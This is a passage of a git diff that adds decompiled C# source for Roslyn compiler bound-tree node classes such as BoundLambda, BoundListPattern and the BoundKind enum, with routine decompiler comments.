return boundIsOperator; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundIsPatternExpression.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundIsPatternExpression.cs new file mode 100644 index 0000000..38402a0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundIsPatternExpression.cs @@ -0,0 +1,58 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundIsPatternExpression : BoundExpression +{ + public BoundExpression Expression { get; } + + public BoundPattern Pattern { get; } + + public bool IsNegated { get; } + + public BoundDecisionDag ReachabilityDecisionDag { get; } + + public LabelSymbol WhenTrueLabel { get; } + + public LabelSymbol WhenFalseLabel { get; } + + public BoundDecisionDag GetDecisionDagForLowering(CSharpCompilation compilation) + { + BoundDecisionDag boundDecisionDag = ReachabilityDecisionDag; + if (boundDecisionDag.ContainsAnySynthesizedNodes()) + { + Pattern.IsNegated(out BoundPattern innerPattern); + boundDecisionDag = DecisionDagBuilder.CreateDecisionDagForIsPattern(compilation, Syntax, Expression, innerPattern, WhenTrueLabel, WhenFalseLabel, BindingDiagnosticBag.Discarded, forLowering: true); + } + return boundDecisionDag; + } + + public BoundIsPatternExpression(SyntaxNode syntax, BoundExpression expression, BoundPattern pattern, bool isNegated, BoundDecisionDag reachabilityDecisionDag, LabelSymbol whenTrueLabel, LabelSymbol whenFalseLabel, TypeSymbol? type, bool hasErrors = false) + : base(BoundKind.IsPatternExpression, syntax, type, hasErrors || expression.HasErrors() || pattern.HasErrors() || reachabilityDecisionDag.HasErrors()) + { + Expression = expression; + Pattern = pattern; + IsNegated = isNegated; + ReachabilityDecisionDag = reachabilityDecisionDag; + WhenTrueLabel = whenTrueLabel; + WhenFalseLabel = whenFalseLabel; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitIsPatternExpression(this); + } + + public BoundIsPatternExpression Update(BoundExpression expression, BoundPattern pattern, bool isNegated, BoundDecisionDag reachabilityDecisionDag, LabelSymbol whenTrueLabel, LabelSymbol whenFalseLabel, TypeSymbol? type) + { + if (expression != Expression || pattern != Pattern || isNegated != IsNegated || reachabilityDecisionDag != ReachabilityDecisionDag || !SymbolEqualityComparer.ConsiderEverything.Equals(whenTrueLabel, WhenTrueLabel) || !SymbolEqualityComparer.ConsiderEverything.Equals(whenFalseLabel, WhenFalseLabel) || !TypeSymbol.Equals(type, base.Type, (TypeCompareKind)0)) + { + BoundIsPatternExpression boundIsPatternExpression = new BoundIsPatternExpression(Syntax, expression, pattern, isNegated, reachabilityDecisionDag, whenTrueLabel, whenFalseLabel, type, base.HasErrors); + boundIsPatternExpression.CopyAttributes(this); + return boundIsPatternExpression; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundKind.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundKind.cs new file mode 100644 index 0000000..aa3a307 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundKind.cs @@ -0,0 +1,234 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal enum BoundKind : byte +{ + FieldEqualsValue, + PropertyEqualsValue, + ParameterEqualsValue, + GlobalStatementInitializer, + ValuePlaceholder, + CapturedReceiverPlaceholder, + DeconstructValuePlaceholder, + TupleOperandPlaceholder, + AwaitableValuePlaceholder, + DisposableValuePlaceholder, + ObjectOrCollectionValuePlaceholder, + ImplicitIndexerValuePlaceholder, + ImplicitIndexerReceiverPlaceholder, + ListPatternReceiverPlaceholder, + ListPatternIndexPlaceholder, + SlicePatternReceiverPlaceholder, + SlicePatternRangePlaceholder, + Dup, + PassByCopy, + BadExpression, + BadStatement, + ExtractedFinallyBlock, + TypeExpression, + TypeOrValueExpression, + NamespaceExpression, + UnaryOperator, + IncrementOperator, + AddressOfOperator, + UnconvertedAddressOfOperator, + FunctionPointerLoad, + PointerIndirectionOperator, + PointerElementAccess, + FunctionPointerInvocation, + RefTypeOperator, + MakeRefOperator, + RefValueOperator, + FromEndIndexExpression, + RangeExpression, + BinaryOperator, + TupleBinaryOperator, + UserDefinedConditionalLogicalOperator, + CompoundAssignmentOperator, + AssignmentOperator, + DeconstructionAssignmentOperator, + NullCoalescingOperator, + NullCoalescingAssignmentOperator, + UnconvertedConditionalOperator, + ConditionalOperator, + ArrayAccess, + ArrayLength, + AwaitableInfo, + AwaitExpression, + TypeOfOperator, + BlockInstrumentation, + MethodDefIndex, + LocalId, + ParameterId, + StateMachineInstanceId, + MaximumMethodDefIndex, + InstrumentationPayloadRoot, + ModuleVersionId, + ModuleVersionIdString, + SourceDocumentIndex, + MethodInfo, + FieldInfo, + DefaultLiteral, + DefaultExpression, + IsOperator, + AsOperator, + SizeOfOperator, + Conversion, + ReadOnlySpanFromArray, + ArgList, + ArgListOperator, + FixedLocalCollectionInitializer, + SequencePoint, + SequencePointWithSpan, + SavePreviousSequencePoint, + RestorePreviousSequencePoint, + StepThroughSequencePoint, + Block, + Scope, + StateMachineScope, + LocalDeclaration, + MultipleLocalDeclarations, + UsingLocalDeclarations, + LocalFunctionStatement, + NoOpStatement, + ReturnStatement, + YieldReturnStatement, + YieldBreakStatement, + ThrowStatement, + ExpressionStatement, + BreakStatement, + ContinueStatement, + SwitchStatement, + SwitchDispatch, + IfStatement, + DoStatement, + WhileStatement, + ForStatement, + ForEachStatement, + ForEachDeconstructStep, + UsingStatement, + FixedStatement, + LockStatement, + TryStatement, + CatchBlock, + Literal, + Utf8String, + ThisReference, + PreviousSubmissionReference, + HostObjectMemberReference, + BaseReference, + Local, + PseudoVariable, + RangeVariable, + Parameter, + LabelStatement, + GotoStatement, + LabeledStatement, + Label, + StatementList, + ConditionalGoto, + SwitchExpressionArm, + UnconvertedSwitchExpression, + ConvertedSwitchExpression, + DecisionDag, + EvaluationDecisionDagNode, + TestDecisionDagNode, + WhenDecisionDagNode, + LeafDecisionDagNode, + DagTemp, + DagTypeTest, + DagNonNullTest, + DagExplicitNullTest, + DagValueTest, + DagRelationalTest, + DagDeconstructEvaluation, + DagTypeEvaluation, + DagFieldEvaluation, + DagPropertyEvaluation, + DagIndexEvaluation, + DagIndexerEvaluation, + DagSliceEvaluation, + DagAssignmentEvaluation, + SwitchSection, + SwitchLabel, + SequencePointExpression, + Sequence, + SpillSequence, + DynamicMemberAccess, + DynamicInvocation, + ConditionalAccess, + LoweredConditionalAccess, + ConditionalReceiver, + ComplexConditionalReceiver, + MethodGroup, + PropertyGroup, + Call, + EventAssignmentOperator, + Attribute, + UnconvertedObjectCreationExpression, + ObjectCreationExpression, + UnconvertedCollectionExpression, + CollectionExpression, + CollectionExpressionSpreadExpressionPlaceholder, + CollectionExpressionSpreadElement, + TupleLiteral, + ConvertedTupleLiteral, + DynamicObjectCreationExpression, + NoPiaObjectCreationExpression, + ObjectInitializerExpression, + ObjectInitializerMember, + DynamicObjectInitializerMember, + CollectionInitializerExpression, + CollectionElementInitializer, + DynamicCollectionElementInitializer, + ImplicitReceiver, + AnonymousObjectCreationExpression, + AnonymousPropertyDeclaration, + NewT, + DelegateCreationExpression, + ArrayCreation, + ArrayInitialization, + StackAllocArrayCreation, + ConvertedStackAllocExpression, + FieldAccess, + HoistedFieldAccess, + PropertyAccess, + EventAccess, + IndexerAccess, + ImplicitIndexerAccess, + InlineArrayAccess, + DynamicIndexerAccess, + Lambda, + UnboundLambda, + QueryClause, + TypeOrInstanceInitializers, + NameOfOperator, + UnconvertedInterpolatedString, + InterpolatedString, + InterpolatedStringHandlerPlaceholder, + InterpolatedStringArgumentPlaceholder, + StringInsert, + IsPatternExpression, + ConstantPattern, + DiscardPattern, + DeclarationPattern, + RecursivePattern, + ListPattern, + SlicePattern, + ITuplePattern, + PositionalSubpattern, + PropertySubpattern, + PropertySubpatternMember, + TypePattern, + BinaryPattern, + NegatedPattern, + RelationalPattern, + DiscardExpression, + ThrowExpression, + OutVariablePendingInference, + DeconstructionVariablePendingInference, + OutDeconstructVarPendingInference, + NonConstructorMethodBody, + ConstructorMethodBody, + ExpressionWithNullability, + WithExpression +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLabel.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLabel.cs new file mode 100644 index 0000000..70b9b26 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLabel.cs @@ -0,0 +1,40 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundLabel : BoundExpression +{ + public override Symbol ExpressionSymbol => Label; + + public LabelSymbol Label { get; } + + public BoundLabel(SyntaxNode syntax, LabelSymbol label, TypeSymbol? type, bool hasErrors) + : base(BoundKind.Label, syntax, type, hasErrors) + { + Label = label; + } + + public BoundLabel(SyntaxNode syntax, LabelSymbol label, TypeSymbol? type) + : base(BoundKind.Label, syntax, type) + { + Label = label; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitLabel(this); + } + + public BoundLabel Update(LabelSymbol label, TypeSymbol? type) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(label, Label) || !TypeSymbol.Equals(type, base.Type, (TypeCompareKind)0)) + { + BoundLabel boundLabel = new BoundLabel(Syntax, label, type, base.HasErrors); + boundLabel.CopyAttributes(this); + return boundLabel; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLabelStatement.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLabelStatement.cs new file mode 100644 index 0000000..ab847a5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLabelStatement.cs @@ -0,0 +1,38 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundLabelStatement : BoundStatement +{ + public LabelSymbol Label { get; } + + public BoundLabelStatement(SyntaxNode syntax, LabelSymbol label, bool hasErrors) + : base(BoundKind.LabelStatement, syntax, hasErrors) + { + Label = label; + } + + public BoundLabelStatement(SyntaxNode syntax, LabelSymbol label) + : base(BoundKind.LabelStatement, syntax) + { + Label = label; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitLabelStatement(this); + } + + public BoundLabelStatement Update(LabelSymbol label) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(label, Label)) + { + BoundLabelStatement boundLabelStatement = new BoundLabelStatement(Syntax, label, base.HasErrors); + boundLabelStatement.CopyAttributes(this); + return boundLabelStatement; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLabeledStatement.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLabeledStatement.cs new file mode 100644 index 0000000..d65b4f7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLabeledStatement.cs @@ -0,0 +1,35 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundLabeledStatement : BoundStatement +{ + public LabelSymbol Label { get; } + + public BoundStatement Body { get; } + + public BoundLabeledStatement(SyntaxNode syntax, LabelSymbol label, BoundStatement body, bool hasErrors = false) + : base(BoundKind.LabeledStatement, syntax, hasErrors || body.HasErrors()) + { + Label = label; + Body = body; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitLabeledStatement(this); + } + + public BoundLabeledStatement Update(LabelSymbol label, BoundStatement body) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(label, Label) || body != Body) + { + BoundLabeledStatement boundLabeledStatement = new BoundLabeledStatement(Syntax, label, body, base.HasErrors); + boundLabeledStatement.CopyAttributes(this); + return boundLabeledStatement; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLambda.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLambda.cs new file mode 100644 index 0000000..2a00a86 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLambda.cs @@ -0,0 +1,298 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundLambda : BoundExpression, IBoundLambdaOrFunction +{ + internal sealed class BlockReturns : BoundTreeWalker + { + private readonly ArrayBuilder<(BoundReturnStatement, TypeWithAnnotations)> _builder; + + private BlockReturns(ArrayBuilder<(BoundReturnStatement, TypeWithAnnotations)> builder) + { + _builder = builder; + } + + public static void GetReturnTypes(ArrayBuilder<(BoundReturnStatement, TypeWithAnnotations)> builder, BoundBlock block) + { + new BlockReturns(builder).Visit(block); + } + + public override BoundNode? Visit(BoundNode node) + { + if (!(node is BoundExpression)) + { + return base.Visit(node); + } + return null; + } + + protected override BoundExpression VisitExpressionWithoutStackGuard(BoundExpression node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/BoundTree/UnboundLambda.cs", 365); + } + + public override BoundNode? VisitLocalFunctionStatement(BoundLocalFunctionStatement node) + { + return null; + } + + public override BoundNode? VisitReturnStatement(BoundReturnStatement node) + { + BoundExpression expressionOpt = node.ExpressionOpt; + TypeSymbol typeSymbol = ((expressionOpt == null) ? NoReturnExpression : expressionOpt.Type?.SetUnknownNullabilityForReferenceTypes()); + _builder.Add((node, TypeWithAnnotations.Create(typeSymbol))); + return null; + } + } + + internal static readonly TypeSymbol NoReturnExpression = new UnsupportedMetadataTypeSymbol(); + + public override Symbol ExpressionSymbol => Symbol; + + public override object Display => MessageID.Localize(); + + public MessageID MessageID + { + get + { + if (Syntax.Kind() != SyntaxKind.AnonymousMethodExpression) + { + return MessageID.IDS_Lambda; + } + return MessageID.IDS_AnonMethod; + } + } + + internal InferredLambdaReturnType InferredReturnType { get; } + + internal bool InAnonymousFunctionConversion { get; private set; } + + MethodSymbol IBoundLambdaOrFunction.Symbol => Symbol; + + SyntaxNode IBoundLambdaOrFunction.Syntax => Syntax; + + public UnboundLambda UnboundLambda { get; } + + public LambdaSymbol Symbol { get; } + + public new TypeSymbol? Type => base.Type; + + public BoundBlock Body { get; } + + public ImmutableBindingDiagnostic Diagnostics { get; } + + public Binder Binder { get; } + + public BoundLambda(SyntaxNode syntax, UnboundLambda unboundLambda, BoundBlock body, ImmutableBindingDiagnostic diagnostics, Binder binder, TypeSymbol? delegateType, InferredLambdaReturnType inferredReturnType) + : this(syntax, unboundLambda.WithNoCache(), (LambdaSymbol)binder.ContainingMemberOrLambda, body, diagnostics, binder, delegateType) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + InferredReturnType = inferredReturnType; + } + + internal BoundLambda WithInAnonymousFunctionConversion() + { + if (InAnonymousFunctionConversion) + { + return this; + } + BoundLambda obj = (BoundLambda)MemberwiseClone(); + obj.InAnonymousFunctionConversion = true; + return obj; + } + + public TypeWithAnnotations GetInferredReturnType(ref CompoundUseSiteInfo useSiteInfo, out bool inferredFromFunctionType) + { + return GetInferredReturnType(null, null, ref useSiteInfo, out inferredFromFunctionType); + } + + public TypeWithAnnotations GetInferredReturnType(ConversionsBase? conversions, NullableWalker.VariableState? nullableState, ref CompoundUseSiteInfo useSiteInfo, out bool inferredFromFunctionType) + { + if (!InferredReturnType.UseSiteDiagnostics.IsEmpty) + { + useSiteInfo.AddDiagnostics(InferredReturnType.UseSiteDiagnostics); + } + if (!InferredReturnType.Dependencies.IsEmpty) + { + useSiteInfo.AddDependencies(InferredReturnType.Dependencies); + } + InferredLambdaReturnType inferredLambdaReturnType; + if (nullableState == null || InferredReturnType.IsExplicitType) + { + inferredLambdaReturnType = InferredReturnType; + } + else + { + ArrayBuilder<(BoundReturnStatement, TypeWithAnnotations)> instance = ArrayBuilder<(BoundReturnStatement, TypeWithAnnotations)>.GetInstance(); + DiagnosticBag instance2 = DiagnosticBag.GetInstance(); + NamedTypeSymbol delegateType = Type.GetDelegateType(); + NullableWalker.Analyze(Binder.Compilation, this, (Conversions)conversions, instance2, delegateType?.DelegateInvokeMethod, nullableState, instance); + instance2.Free(); + inferredLambdaReturnType = InferReturnType(instance, this, Binder, delegateType, Symbol.IsAsync, conversions); + instance.Free(); + } + inferredFromFunctionType = inferredLambdaReturnType.InferredFromFunctionType; + return inferredLambdaReturnType.TypeWithAnnotations; + } + + internal LambdaSymbol CreateLambdaSymbol(NamedTypeSymbol delegateType, Symbol containingSymbol) + { + return UnboundLambda.Data.CreateLambdaSymbol(delegateType, containingSymbol); + } + + internal LambdaSymbol CreateLambdaSymbol(Symbol containingSymbol, TypeWithAnnotations returnType, ImmutableArray parameterTypes, ImmutableArray parameterRefKinds, RefKind refKind) + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return UnboundLambda.Data.CreateLambdaSymbol(containingSymbol, returnType, parameterTypes, parameterRefKinds.IsDefault ? Enumerable.Repeat((RefKind)0, parameterTypes.Length).ToImmutableArray() : parameterRefKinds, refKind); + } + + internal static InferredLambdaReturnType InferReturnType(ArrayBuilder<(BoundReturnStatement, TypeWithAnnotations)> returnTypes, BoundLambda node, Binder binder, TypeSymbol? delegateType, bool isAsync, ConversionsBase conversions) + { + return InferReturnTypeImpl(returnTypes, node, binder, delegateType, isAsync, conversions, node.UnboundLambda.WithDependencies); + } + + internal static InferredLambdaReturnType InferReturnType(ArrayBuilder<(BoundReturnStatement, TypeWithAnnotations)> returnTypes, UnboundLambda node, Binder binder, TypeSymbol? delegateType, bool isAsync, ConversionsBase conversions) + { + return InferReturnTypeImpl(returnTypes, node, binder, delegateType, isAsync, conversions, node.WithDependencies); + } + + private static InferredLambdaReturnType InferReturnTypeImpl(ArrayBuilder<(BoundReturnStatement, TypeWithAnnotations)> returnTypes, BoundNode node, Binder binder, TypeSymbol? delegateType, bool isAsync, ConversionsBase conversions, bool withDependencies) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_00ad: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder<(BoundExpression, TypeWithAnnotations, bool)> instance = ArrayBuilder<(BoundExpression, TypeWithAnnotations, bool)>.GetInstance(); + bool hadExpressionlessReturn = false; + RefKind refKind = (RefKind)0; + Enumerator<(BoundReturnStatement, TypeWithAnnotations)> enumerator = returnTypes.GetEnumerator(); + while (enumerator.MoveNext()) + { + (BoundReturnStatement, TypeWithAnnotations) current = enumerator.Current; + BoundReturnStatement item = current.Item1; + TypeWithAnnotations item2 = current.Item2; + RefKind refKind2 = item.RefKind; + if ((int)refKind2 != 0) + { + refKind = refKind2; + } + if ((object)item2.Type == NoReturnExpression) + { + hadExpressionlessReturn = true; + } + else + { + instance.Add((item.ExpressionOpt, item2, item.Checked)); + } + } + CompoundUseSiteInfo useSiteInfo = (withDependencies ? new CompoundUseSiteInfo(binder.Compilation.Assembly) : CompoundUseSiteInfo.DiscardedDependencies); + bool inferredFromFunctionType; + TypeWithAnnotations typeWithAnnotations = CalculateReturnType(binder, conversions, delegateType, instance, isAsync, node, ref useSiteInfo, out inferredFromFunctionType); + int count = instance.Count; + instance.Free(); + return new InferredLambdaReturnType(count, isExplicitType: false, hadExpressionlessReturn, refKind, typeWithAnnotations, inferredFromFunctionType, ImmutableArrayExtensions.AsImmutableOrEmpty((IEnumerable)useSiteInfo.Diagnostics), useSiteInfo.AccumulatesDependencies ? ImmutableArrayExtensions.AsImmutableOrEmpty((IEnumerable)useSiteInfo.Dependencies) : ImmutableArray.Empty); + } + + private static TypeWithAnnotations CalculateReturnType(Binder binder, ConversionsBase conversions, TypeSymbol? delegateType, ArrayBuilder<(BoundExpression expr, TypeWithAnnotations resultType, bool isChecked)> returns, bool isAsync, BoundNode node, ref CompoundUseSiteInfo useSiteInfo, out bool inferredFromFunctionType) + { + int count = returns.Count; + TypeWithAnnotations typeWithAnnotations; + switch (count) + { + case 0: + inferredFromFunctionType = false; + typeWithAnnotations = default(TypeWithAnnotations); + break; + case 1: + { + if (conversions.IncludeNullability) + { + inferredFromFunctionType = false; + typeWithAnnotations = returns[0].Item2; + break; + } + TypeSymbol typeSymbol = returns[0].Item1.GetTypeOrFunctionType(); + if (typeSymbol is FunctionTypeSymbol functionTypeSymbol) + { + typeSymbol = functionTypeSymbol.GetInternalDelegateType(); + inferredFromFunctionType = (object)typeSymbol != null; + } + else + { + inferredFromFunctionType = false; + } + typeWithAnnotations = TypeWithAnnotations.Create(typeSymbol); + break; + } + default: + typeWithAnnotations = ((!conversions.IncludeNullability) ? TypeWithAnnotations.Create(BestTypeInferrer.InferBestType(ArrayBuilderExtensions.SelectAsArray<(BoundExpression, TypeWithAnnotations, bool), BoundExpression>(returns, (Func<(BoundExpression, TypeWithAnnotations, bool), BoundExpression>)(((BoundExpression expr, TypeWithAnnotations resultType, bool isChecked) pair) => pair.expr)), conversions, ref useSiteInfo, out inferredFromFunctionType)) : NullableWalker.BestTypeForLambdaReturns(returns, binder, node, (Conversions)conversions, out inferredFromFunctionType)); + break; + } + if (!isAsync) + { + return typeWithAnnotations; + } + NamedTypeSymbol namedTypeSymbol = null; + if (delegateType?.GetDelegateType()?.DelegateInvokeMethod?.ReturnType is NamedTypeSymbol namedTypeSymbol2 && !namedTypeSymbol2.IsVoidType() && namedTypeSymbol2.IsCustomTaskType(out object _)) + { + namedTypeSymbol = namedTypeSymbol2.ConstructedFrom; + } + if (count == 0) + { + return TypeWithAnnotations.Create(((object)namedTypeSymbol != null && namedTypeSymbol.Arity == 0) ? namedTypeSymbol : binder.Compilation.GetWellKnownType((WellKnownType)95)); + } + if (!typeWithAnnotations.HasType || typeWithAnnotations.IsVoidType()) + { + return default(TypeWithAnnotations); + } + return TypeWithAnnotations.Create((((object)namedTypeSymbol != null && namedTypeSymbol.Arity == 1) ? namedTypeSymbol : binder.Compilation.GetWellKnownType((WellKnownType)96)).Construct(ImmutableArray.Create(typeWithAnnotations))); + } + + public BoundLambda(SyntaxNode syntax, UnboundLambda unboundLambda, LambdaSymbol symbol, BoundBlock body, ImmutableBindingDiagnostic diagnostics, Binder binder, TypeSymbol? type, bool hasErrors = false) + : base(BoundKind.Lambda, syntax, type, hasErrors || unboundLambda.HasErrors() || body.HasErrors()) + { + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + UnboundLambda = unboundLambda; + Symbol = symbol; + Body = body; + Diagnostics = diagnostics; + Binder = binder; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitLambda(this); + } + + public BoundLambda Update(UnboundLambda unboundLambda, LambdaSymbol symbol, BoundBlock body, ImmutableBindingDiagnostic diagnostics, Binder binder, TypeSymbol? type) + { + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (unboundLambda != UnboundLambda || !SymbolEqualityComparer.ConsiderEverything.Equals(symbol, Symbol) || body != Body || diagnostics != Diagnostics || binder != Binder || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundLambda boundLambda = new BoundLambda(Syntax, unboundLambda, symbol, body, diagnostics, binder, type, base.HasErrors); + boundLambda.CopyAttributes(this); + return boundLambda; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLeafDecisionDagNode.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLeafDecisionDagNode.cs new file mode 100644 index 0000000..b06107a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundLeafDecisionDagNode.cs @@ -0,0 +1,38 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundLeafDecisionDagNode : BoundDecisionDagNode +{ + public LabelSymbol Label { get; } + + public BoundLeafDecisionDagNode(SyntaxNode syntax, LabelSymbol label, bool hasErrors) + : base(BoundKind.LeafDecisionDagNode, syntax, hasErrors) + { + Label = label; + } + + public BoundLeafDecisionDagNode(SyntaxNode syntax, LabelSymbol label) + : base(BoundKind.LeafDecisionDagNode, syntax) + { + Label = label; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitLeafDecisionDagNode(this); + } + + public BoundLeafDecisionDagNode Update(LabelSymbol label) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(label, Label)) + { + BoundLeafDecisionDagNode boundLeafDecisionDagNode = new BoundLeafDecisionDagNode(Syntax, label, base.HasErrors); + boundLeafDecisionDagNode.CopyAttributes(this); + return boundLeafDecisionDagNode; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundListPattern.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundListPattern.cs new file mode 100644 index 0000000..0ee5e9e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundListPattern.cs @@ -0,0 +1,53 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundListPattern : BoundObjectPattern +{ + public ImmutableArray Subpatterns { get; } + + public bool HasSlice { get; } + + public BoundExpression? LengthAccess { get; } + + public BoundExpression? IndexerAccess { get; } + + public BoundListPatternReceiverPlaceholder? ReceiverPlaceholder { get; } + + public BoundListPatternIndexPlaceholder? ArgumentPlaceholder { get; } + + public BoundListPattern(SyntaxNode syntax, ImmutableArray subpatterns, bool hasSlice, BoundExpression? lengthAccess, BoundExpression? indexerAccess, BoundListPatternReceiverPlaceholder? receiverPlaceholder, BoundListPatternIndexPlaceholder? argumentPlaceholder, Symbol? variable, BoundExpression? variableAccess, TypeSymbol inputType, TypeSymbol narrowedType, bool hasErrors = false) + : base(BoundKind.ListPattern, syntax, variable, variableAccess, inputType, narrowedType, hasErrors || subpatterns.HasErrors() || lengthAccess.HasErrors() || indexerAccess.HasErrors() || receiverPlaceholder.HasErrors() || argumentPlaceholder.HasErrors() || variableAccess.HasErrors()) + { + Subpatterns = subpatterns; + HasSlice = hasSlice; + LengthAccess = lengthAccess; + IndexerAccess = indexerAccess; + ReceiverPlaceholder = receiverPlaceholder; + ArgumentPlaceholder = argumentPlaceholder; + } + + [Conditional("DEBUG")] + private void Validate() + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitListPattern(this); + } + + public BoundListPattern Update(ImmutableArray subpatterns, bool hasSlice, BoundExpression? lengthAccess, BoundExpression? indexerAccess, BoundListPatternReceiverPlaceholder? receiverPlaceholder, BoundListPatternIndexPlaceholder? argumentPlaceholder, Symbol? variable, BoundExpression? variableAccess, TypeSymbol inputType, TypeSymbol narrowedType) + { + if (subpatterns != Subpatterns || hasSlice != HasSlice || lengthAccess != LengthAccess || indexerAccess != IndexerAccess || receiverPlaceholder != ReceiverPlaceholder || argumentPlaceholder != ArgumentPlaceholder || !SymbolEqualityComparer.ConsiderEverything.Equals(variable, base.Variable) || variableAccess != base.VariableAccess || !TypeSymbol.Equals(inputType, base.InputType, (TypeCompareKind)0) || !TypeSymbol.Equals(narrowedType, base.NarrowedType, (TypeCompareKind)0)) + { + BoundListPattern boundListPattern = new BoundListPattern(Syntax, subpatterns, hasSlice, lengthAccess, indexerAccess, receiverPlaceholder, argumentPlaceholder, variable, variableAccess, inputType, narrowedType, base.HasErrors); + boundListPattern.CopyAttributes(this); + return boundListPattern; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundListPatternIndexPlaceholder.cs 